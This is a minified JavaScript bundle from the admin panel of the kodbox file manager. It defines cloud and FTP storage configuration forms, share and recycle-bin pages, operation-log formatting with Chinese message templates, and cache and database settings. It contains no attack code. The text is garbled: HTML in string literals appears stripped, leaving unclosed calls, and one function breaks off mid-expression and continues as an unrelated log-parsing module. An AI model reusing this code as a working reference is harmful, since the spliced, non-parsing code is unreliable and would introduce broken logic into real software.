this.explorer.$el.flash();this.explorer=new s.ExplorerDialog({"pathOpen":e,"title":e,"openPathCallback":t,"closeBefore":function(){n.explorer=null}})},"doAction":function(e,t){var i="store_"+(t.hasClass("data-app")?t.attr("data-id"):$(t).parents(".data-app").attr("data-id")),n=this.storeListAll[i]||{};if("historyBack"==e)return this.Action.showStoreList();this.Action.exec(e,n)},"bindNotify":function(){this.listenTo(this.Action,{"getStoreList":function(e,t){t(this.storeListAll)},"storeList":function(){this.Load.storeList()}}),this.listenTo(this.Load,{"showStoreList":function(){this.Action.showStoreList()}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG["admin.storage.cosKeyDesc"],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.cosSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"cos.ap-shanghai.myqcloud.com"},"require":1},"region":{"type":"input","value":"","display":LNG["admin.storage.region"],"desc":LNG["admin.storage.refer"]+""+LNG["admin.storage.region"]+"","attr":{"placeholder":"ap-shanghai"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"172.20.6.101:8060"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"server":{"type":"input","value":"ftp://","display":LNG["admin.storage.server"],"desc":LNG["admin.storage.serverDesc"],"require":1},"username":{"type":"input","value":"","display":LNG["admin.storage.userName"],"desc":"","require":1},"userpass":{"type":"password","value":"","display":LNG["admin.storage.userPwd"],"desc":"","require":1},"charset":{"type":"select","value":"utf-8","info":{"utf-8":"UTF-8","gbk":"GBK","big5":"BIG5","euc-kr":"EUC-KR","euc-jp":"EUC-JP","shift-jis":"SHIFT-JIS"},"display":LNG["admin.storage.ftpCharset"],"desc":LNG["admin.storage.ftpCharsetDesc"]},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(29));t["default"]=function(){var e,t=_.get(window,"G.kod.BASIC_PATH","");return t=_.trimEnd(t,"/")+"/",{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"basePath":(e={"type":"fileSelect","display":LNG["admin.storage.path"],"attr":{"placeholder":"/data/"},"desc":LNG["admin.storage.pathLocDesc"]},(0,n["default"])(e,"attr",{"style":"width:229px"}),(0,n["default"])(e,"value",""),(0,n["default"])(e,"require",1),(0,n["default"])(e,"info",{"single":!0,"type":"folder","makeUrl":!1,"valueKey":"path","authCheck":"write","pathTreeDisable":!0,"pathTree":t,"pathOpen":t,"viewOption":{"addClass":"tree-disable"}}),e),"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"http://192.168.1.145:9000"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG[""],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.oosSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"oos-cn.ctyunapi.cn"},"require":1},"region":{"type":"input","value":"","display":LNG["admin.storage.region"],"desc":"","attr":{"placeholder":"cn"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG["admin.storage.ossKeyDesc"],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.ossSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"oss-cn-hangzhou.aliyuncs.com"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG["admin.storage.qiniuKeyDesc"],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.qiniuSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.domain"],"desc":LNG["admin.storage.qiniuDomain"],"require":1},"region":{"type":"select","value":"z0","display":LNG["admin.storage.region"],"desc":LNG["admin.storage.refer"]+""+LNG["admin.storage.region"]+"","info":{"z0":LNG["common.ECN"],"z1":LNG["common.NCN"],"z2":LNG["common.SCN"],"na0":LNG["common.USA"],"as0":LNG["common.SEA"]},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"accessKey":{"type":"input","value":"","display":"Access Key ID","desc":LNG["admin.storage.awsKeyDesc"],"require":1},"secret":{"type":"password","value":"","display":"Access Key Secret","desc":LNG["admin.storage.awsSecretDesc"],"require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.bucket"],"desc":LNG["admin.storage.bucketDesc"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.endpoint"],"desc":"Endpoint","attr":{"placeholder":"s3.cn-northwest-1.amazonaws.com.cn"},"require":1},"region":{"type":"input","value":"","display":LNG["admin.storage.region"],"desc":LNG["admin.storage.refer"]+""+LNG["admin.storage.region"]+"","attr":{"placeholder":"cn-northwest-1"},"require":1},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"ioUploadServer":{"type":"switch","value":0,"display":LNG["admin.storage.uploadSrv"],"desc":LNG["admin.storage.uploadSrvDesc"]},"ioFileOutServer":{"type":"switch","value":0,"display":LNG["admin.storage.fileoutSrv"],"desc":LNG["admin.storage.fileoutSrvDesc"]},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","value":"","display":LNG["common.name"],"desc":LNG["admin.storage.nameDesc"],"require":1},"sizeMax":{"type":"number","value":1024,"display":LNG["admin.member.spaceSize"],"desc":"(GB)","require":1},"bucket":{"type":"input","value":"","display":LNG["admin.storage.ussBucket"],"desc":LNG["admin.storage.ussBucketDesc"],"require":1},"username":{"type":"input","value":"","display":LNG["admin.storage.ussUser"],"desc":LNG["admin.storage.ussUserDesc"],"require":1},"userpass":{"type":"password","value":"","display":LNG["common.password"],"desc":LNG["admin.storage.ussUserPwd"],"require":1},"domain":{"type":"input","value":"","display":LNG["admin.storage.domain"],"desc":LNG["admin.storage.ussDomain"],"require":1},"token":{"type":"input","value":"","display":LNG["admin.storage.ussToken"],"desc":LNG["admin.storage.ussTokenDesc"]},"basePath":{"type":"input","value":"/kodbox/","display":LNG["admin.storage.path"],"desc":LNG["admin.storage.pathDesc"],"require":1},"default":{"type":"switch","value":0,"display":LNG["admin.storage.default"],"desc":LNG["admin.storage.defaultDesc"]}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(574));t["default"]=ClassBase.extend({"el":".admin-main-content","initAfterIgnore":!0,"init":function(){this.renderHtml('
    '),this.initExplorer(),this.bindEvent()},"initExplorer":function(){var e="{io:systemRecycle}/";this.explorer=new n["default"]({"pathTree":e,"pathOpen":e}),this.bind("onRemove",function(){this.explorer.objectRemove()})},"bindEvent":function(){}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s=i(36),a=l(i(2)),r=l(i(575)),n=l(i(576)),o=l(i(100));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","events":{"click .admin-share-page .kodTable .list-col [file-parent]":"openParent"},"init":function(){this.renderHtml(i(577)),this.showShareTable(),this.bindEvent()},"showShareTable":function(){var e=this;this.Table=new n["default"]({"parent":this});var t=this.queryData();this.shareTable=this.Table.make(t,"share");var i=$.objClone((0,r["default"])());this.shareFormMaker=new a["default"]({"parent":this,"formData":i}),this.shareFormMaker.renderTarget(this.shareTable.$(".share-list .toolbar .left")),this.shareFormMaker.$("[name]").bind("change",function(){e.tableRefresh()})},"tableRefresh":function(){var e=0{{desc.from}} => {{desc.to}}","recycle-toRecycle-item":"在{{parent}}将{{file}}移到了回收站","recycle-restore-item":"将{{file}}从回收站还原","remove-item":"在{{parent}}删除了{{desc.content}}","addDesc-item":["修改了{{file}}文档描述","{{desc.content}}"],"addComment-item":["在{{file}}表了评论","{{desc.content}}",1]};return this._each(a,function(e,t){_.isString(e)&&(a[t]=this.lang("log-event-"+t,e)),_.isArray(e)&&(a[t][0]=this.lang("log-event-"+t,e[0]))}),a},"lang":function s(e,t){var s=LNG[e]||e,i=t.match(/({{[\w\d\.]*}})/g);if(!i)return s;for(var n=0;n\n\t\t\t\t\n\t\t\t\t'+a+"\n\t\t\t"},"dataParse":function(e){if(!_.startsWith(e.type,"file."))return this.dataParseOthers(e);var t=this.dataActionGet(e.desc),i=this.map()[t+"-item"]||"";return this.dataParseHtmlItem(i,e.desc)},"dataActionGet":function(e){var t=e.type;if(_.includes(["share","recycle"],t)){if(t+="-"+e.desc.content,!e.desc.content)return!1}else if("create"==t){var i=_.get(e,"desc.createType");t+="-"+(i=i||("file"==e.sourceInfo.type?"mkfile":"mkdir"))}return t},"normalActionGet":function(e){var t={"user.index.loginSubmit":["user","user-login"],"user.index.logout":["user","user-logout"],"user.setting":["user","user"],"user.bind":["user","user"],"user.bind.unbind":["user","user-unbind"],"user.regist":["user","user"],"admin.group":["user","user-manage"],"admin.member":["user","user-manage"],"admin.role":["user","user-manage"],"admin.auth":["user","user-manage"],"admin.group.remove":["user","user-remove"],"admin.member.remove":["user","user-remove"],"admin.role.remove":["user","user-remove"],"admin.auth.remove":["user","user-remove"],"explorer.index.recycleDelete":["remove","remove"],"explorer.index.recycleRestore":["recycle","recycle-restore"],"explorer.index.mkdir":["create","create-mkdir"],"explorer.index.mkfile":["create","create-mkfile"],"explorer.upload.fileUpload":["create","create-upload"],"explorer.editor.fileSave":["edit","edit"],"explorer.fav.add":["fav","fav"],"explorer.fav.del":["fav","fav-del"],"explorer.userShare":["share","share"],"explorer.userShare.del":["share","share-remove"],"explorer.index.pathRename":["rename","rename"],"explorer.index.pathDelete":["remove","remove"]},i=_.initial(_.split(e.type,".")).join(".");return t[e.type]||t[i]||["",""]},"dataParseHtmlItem":function(e,t){if(_.includes(e,"{{file}}")){var i=t.sourceInfo||t.desc.name||t.pathName||""+LNG["common.deleteEnd"]+LNG["common.file"]+"",n=this.makeHtmlFile(i);e=e.replace(/{{file}}/g,n)}if(_.includes(e,"{{parent}}")){var a=t.parentInfo||""+LNG["common.deleteEnd"]+LNG["common.folder"]+"";n=this.makeHtmlFile(a);e=e.replace(/{{parent}}/g,n)}if(_.includes(e,"{{desc.from}}")){var s=t.desc.from||t.desc.fromName||LNG["common.unknow"];n=this.makeHtmlFile(s);e=e.replace(/{{desc\.from}}/g,n)}if(_.includes(e,"{{desc.to}}")){s=t.desc.to||t.desc.toName||LNG["common.unknow"],n=this.makeHtmlFile(s);e=e.replace(/{{desc\.to}}/g,n)}if(_.includes(e,"{{desc.sourceID}}")){s=t.desc.name||t.desc.sourceID,n=this.makeHtmlFile(s);e=e.replace(/{{desc\.sourceID}}/g,n)}if(_.includes(e,"{{desc.content}}")){if(!(r=_.get(t,"desc.content")||_.get(t,"desc.name")))return"";n='['+htmlEncode(r)+"]";e=e.replace(/{{desc\.content}}/g,n)}if(_.includes(e,"{{content}}")){var r;if(!(r=t.content||t.name))return e;n='['+htmlEncode(r)+"]";e=e.replace(/{{content}}/g,n)}return e},"makeHtmlFile":function(e){if(!e||_.isString(e))return'['+e+"]"||!1;var t=htmlEncode(e.pathDisplay||e.name),i=htmlEncode(e.name);return"\n '+i+"\n "},"normalMap":function(){var i={"explorer.index.fileDownload":["down-item","从{{parent}}下载了{{file}}"],"explorer.index.zipDownload":["down-items","从{{parent}}下载了"],"explorer.index.mkdir":["create-mkdir-item","在{{parent}}新建了文件夹{{file}}"],"explorer.index.mkfile":["create-mkfile-item","在{{parent}}新建了文件{{file}}"],"explorer.upload.fileUpload":["create-upload-item","在{{file}}上传了{{content}}"],"explorer.editor.fileSave":["edit-item","编辑更新了{{file}}"],"explorer.fav.add":["fav-fileAdd","收藏了文件{{file}}"],"explorer.fav.add.folder":["fav-dirAdd","收藏了文件夹{{file}}"],"explorer.fav.del":["fav-del","取消了收藏{{file}}"],"explorer.userShare.add":["share-shareLinkAdd-item","将{{file}}创建了外链分享"],"explorer.index.pathRename":["rename-item","重命名了{{file}}"],"explorer.index.pathDelete":["remove-item","在{{parent}}删除了{{content}}"]};return this._each(i,function(e,t){i[t]=this.lang("log-event-"+e[0],e[1])}),i},"dataParseOthers":function(e){var t=e.type,i=e.desc||"",n=[];if(_.startsWith(t,"timingTask."))return i.name+"; 耗时:"+timeShow(i.useTime);if(!_.isUndefined(i.path)&&(i.sourceInfo||i.parentInfo)){var a=this.normalMap(),s=a[t]||"";switch(t){case"explorer.fav.add":i.type&&"folder"==i.type&&(s=a[t+".folder"]||"");break;case"explorer.index.pathRename":i.content=i.newName;break;case"explorer.index.zipDownload":var r=this,o=[],l=jsonDecode(i.dataArr);_.each(l,function(e){e.parentID=i.sourceParent,o.push(r.makeHtmlFile(e))}),s+=_.join(o,"、")}return this.dataParseHtmlItem(s,i)}switch(t){case"user.index.loginSubmit":var c=(0,h["default"])(i);return c.os==c.browser?c.browser:c.os+"    "+c.browser;case"user.index.logout":n.push(LNG["common.user"]+":"+(i.nickName||i.name||LNG["common.unknow"]));break;case"explorer.index.recycleDelete":case"explorer.index.recycleRestore":var d="explorer.index.recycleRestore"!=t;if(_.isUndefined(i.all)||"1"!=i.all)if(_.isUndefined(i.dataArr))n.push(LNG["common.unknow"]);else{l=jsonDecode(i.dataArr);u=(u=d?LNG["log-event-recycle-del-item"]:LNG["log-event-recycle-restore-item"]).replace("[1]",l.length),n.push(u+":"),_.each(l,function(e,t){n.push(e.name)})}else{var u=d?LNG["explorer.recycleClear"]:LNG["explorer.recycleRestore"];n.push(u)}break;case"explorer.index.pathDelete":if(_.isUndefined(i.dataArr))n.push(LNG["common.unknow"]);else{l=jsonDecode(i.dataArr);n.push(LNG["log-event-del-item"].replace("[1]",l.length))}break;default:n=this.dataParseUsers(t,i)}return!_.isUndefined(i.path)&&_.isUndefined(i.name)&&n.push(LNG["common.file"]+":"+i.path),_.each(n,function(e,t){n[t]=htmlEncode(e)}),_.join(n,"
    ")},"dataParseUsers":function(e,t){var i="";switch(_.initial(_.split(e,".")).join(".")){case"user.bind":if("user.bind.bindApi"==e)var n=t.typeTit||"";else n={"qq":"QQ","weixin":LNG["common.wechat"],"github":"GitHub"}[t.type];i=LNG["common.type"]+":"+n;break;case"admin.member":"admin.member.status"==e&&(i+="; "+LNG["common.action"]+":"+("1"==t.status?LNG["admin.member.enable"]:LNG["common.disable"]))}_.isUndefined(t.name)||(i+=(i?"; ":"")+LNG["common.name"]+": "+t.name);var a=[];return i&&a.push(i),"user.setting.setUserInfo"==e&&a.push(LNG["common."+t.type]+": "+t.input),a}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(e){this.type=e.type,this.typeKey=e.typeKey,this.bindEvent()},"queryData":function(){var i={};if(!_.isUndefined(this.parent.formMaker)){var n=this;this.parent.formMaker.$("[name]").each(function(){var e=$(this).attr("name"),t=n.parent.formMaker.getValue(e);i[e]=t})}var e={};if("diy"==i.logTime)e.timeFrom=strtotime(i.timeFrom+" 00:00:00"),e.timeTo=strtotime(i.timeTo+" 23:59:59");else{var t=i.logTime||7;e.timeFrom=time()-86400*parseInt(t),e.timeTo=time()}e.userID=i.logUser||"","log"==this.typeKey&&(e.type=_.get(Router.query,"type"),e.type||(e.type=i.logType&&"all"!=i.logType?i.logType:""));var a=this.$("."+this.type+"-page .toolbar .left");return a.find(".ip-label").length&&(e.ip=a.find(".ip-label span").text()),e},"bindEvent":function(){var i=this,n=this.parent;this.$("."+this.type+"-page").delegate("[data-action]","click",function(e){var t=$(this).attr("data");return i.dtlByIp(n[i.typeKey+"ListAll"][t]),stopPP(e)}),this.$("."+this.type+"-page").delegate(".ip-label i","click",function(e){$(this).parents(".ip-label").remove();var t=i.queryData();return n[i.typeKey+"Table"].refresh(t),stopPP(e)})},"dtlByIp":function(e){var t="display:inline-block;width:40px;font-weight:600;opacity:0.8;",i="
    \n\t\t\t
    IP: '+e.ip+'
    \n\t\t\t
    '+LNG["common.address"]+": "+e.address+'
    \n\t\t\t
    UA: '+(e.desc.ua||LNG["common.unknow"])+'
    \n\t\t\t
    \n\t\t\t\t'+LNG["common.tips"]+": "+LNG["admin.log.queryByIp"]+"\n\t\t\t
    \n\t\t
    ",n=this;$.dialog({"ico":"","title":LNG["common.detail"],"width":350,"padding":"30px 20px","resize":!1,"fixed":!0,"lock":!0,"background":"#000","opacity":.2,"content":i,"okVal":LNG["common.query"],"cancel":!0,"ok":function(){n.queryByIp(e)}})},"queryByIp":function(e){var t='
    \n\t\t\t'+e.ip+'\n\t\t\t\n\t\t\t
    ',i=this.$("."+this.type+"-page .toolbar .left");i.find(".ip-label").length&&i.find(".ip-label").remove(),this.parent.formMaker.setValue("logUser",e.userID),i.append(t),this.parent.formMaker.setValue("logTime","1")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=l(i(6)),s=l(i(7)),r=l(i(2)),o=l(i(578));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml(""),this.initForm()},"initForm":(n=(0,s["default"])(a["default"].mark(function c(){var t;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:(t=this).adminModel.getConfig({},function(e){t.makeForm(e.data)});case 2:case"end":return e.stop()}},c,this)})),function d(){return n.apply(this,arguments)}),"makeForm":function(e){var t=(0,o["default"])();t.listData.value=_.get(e,"loginCheckAllow",""),this.formMaker=new r["default"]({"parent":this,"formData":t}),this.formMaker.renderTarget(this.$(".panel-body")),this.listenTo(this.formMaker,{"onSave":this.save}),this.$('.item-listData input[name="listData"]').bind("change",_.bind(this.save,this))},"save":function(){this.$(".item-listData .list-content .list-row").each(function(e){$(this).find(".list-col.sort .label").html(e+1)});var e=this.formMaker.getValue();if(!e)return!1;var t={"loginCheckAllow":e.listData};this.adminModel.setOption(t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"cacheDesc":{"type":"html","display":LNG["admin.setting.cacheDesc"],"value":"
    "+LNG["admin.setting.systemCache"]+", "+LNG["admin.install.cacheTypeDesc"]+"
  • "+LNG["admin.setting.fileCacheDesc"]+"
  • "+LNG["admin.setting.redisDesc"]+"
  • "+LNG["admin.setting.memcachedDesc"]+"
  • \t\t\t
    "},"sep101":"
    ","cacheType":{"type":"segment","value":"file","display":LNG["admin.install.cacheType"],"info":{"file":LNG["admin.install.fileCache"],"redis":"Redis","memcached":"Memcached"},"switchItem":{"file":"","redis":"redisHost,redisPort","memcached":"memcachedHost,memcachedPort"}},"redisHost":{"type":"input","value":"127.0.0.1","attr":{"placeholder":"127.0.0.1"},"display":LNG["common.server"],"desc":"","require":"1"},"redisPort":{"type":"number","value":"6379","attr":{"placeholder":"6379"},"display":LNG["admin.install.dbPort"],"desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"],"require":"1"},"memcachedHost":{"type":"input","value":"127.0.0.1","attr":{"placeholder":"127.0.0.1"},"display":LNG["common.server"],"desc":"","require":"1"},"memcachedPort":{"type":"number","value":"11211","attr":{"placeholder":"11211"},"display":LNG["admin.install.dbPort"],"desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"],"require":"1"}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"current":{"type":"html","display":LNG["admin.setting.dbCurrent"],"value":"
  • "+LNG["admin.setting.dbType"]+":
  • "+LNG["admin.setting.dbName"]+":
  • "+LNG["admin.setting.dbInfo"]+":
  • \t\t\t
    "},"switchOpen":{"type":"switch","value":"0","display":LNG["admin.setting.dbSwitch"],"switchItem":{"0":"","1":"sep201,dbType"},"desc":LNG["admin.setting.dbSwitchDesc"]},"sep201":"
    ","dbType":{"type":"segment","value":"sqlite","display":LNG["admin.install.dbType"],"info":{"sqlite":"SQLite","mysql":"MySQL","pdo":"PDO"},"switchItem":{"sqlite":"dbSqliteDesc,sep202","mysql":"dbMysqlDesc,dbMysqlHost,dbMysqlUser,dbMysqlPwd,dbMysqlName","pdo":"dbPdoDesc,dbPdoType"}},"dbSqliteDesc":{"type":"html","value":LNG["admin.install.sqliteDesc"],"display":""},"sep202":{"type":"html","value":"","display":"","desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"]},"dbMysqlDesc":{"type":"html","value":LNG["admin.install.mysqlDesc"],"display":""},"dbMysqlHost":{"type":"input","value":"127.0.0.1","attr":{"placeholder":"127.0.0.1"},"display":LNG["common.server"],"desc":"","require":"1"},"dbMysqlUser":{"type":"input","value":"root","display":LNG["admin.install.userName"],"desc":"","require":"1"},"dbMysqlPwd":{"type":"password","value":"","display":LNG["common.password"],"desc":""},"dbMysqlName":{"type":"input","value":"kodbox","display":LNG["admin.install.database"],"desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"],"require":"1"},"dbPdoDesc":{"type":"html","display":"","value":LNG["admin.install.pdoDesc"]},"dbPdoType":{"type":"segment","value":"sqlite","display":LNG["common.type"],"info":{"sqlite":"SQLite","mysql":"MySQL"},"switchItem":{"sqlite":"sep203","mysql":"dbPdoMysqlHost,dbPdoMysqlUser,dbPdoMysqlPwd,dbPdoMysqlName"}},"sep203":{"type":"html","value":"","display":"","desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"]},"dbPdoMysqlHost":{"type":"input","value":"127.0.0.1","attr":{"placeholder":"127.0.0.1"},"display":LNG["common.server"],"desc":"","require":"1"},"dbPdoMysqlUser":{"type":"input","value":"root","display":LNG["admin.install.userName"],"desc":"","require":"1"},"dbPdoMysqlPwd":{"type":"password","value":"","display":LNG["common.password"],"desc":""},"dbPdoMysqlName":{"type":"input","value":"kodbox","display":LNG["admin.install.database"],"desc":""+LNG["common.testing"]+"  "+LNG["admin.setting.saveAfterTest"],"require":"1"}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(174)),a=o(i(585)),s=o(i(109)),r=o(i(100));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","events":{"change .task-page .list-row input[name=enable]":"taskEnable"},"init":function(){this.renderHtml(i(587)),this.type="task",this.taskListAll=[],this.showTable(),this.action=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.bindEvent()},"showTable":function(){this.table=new 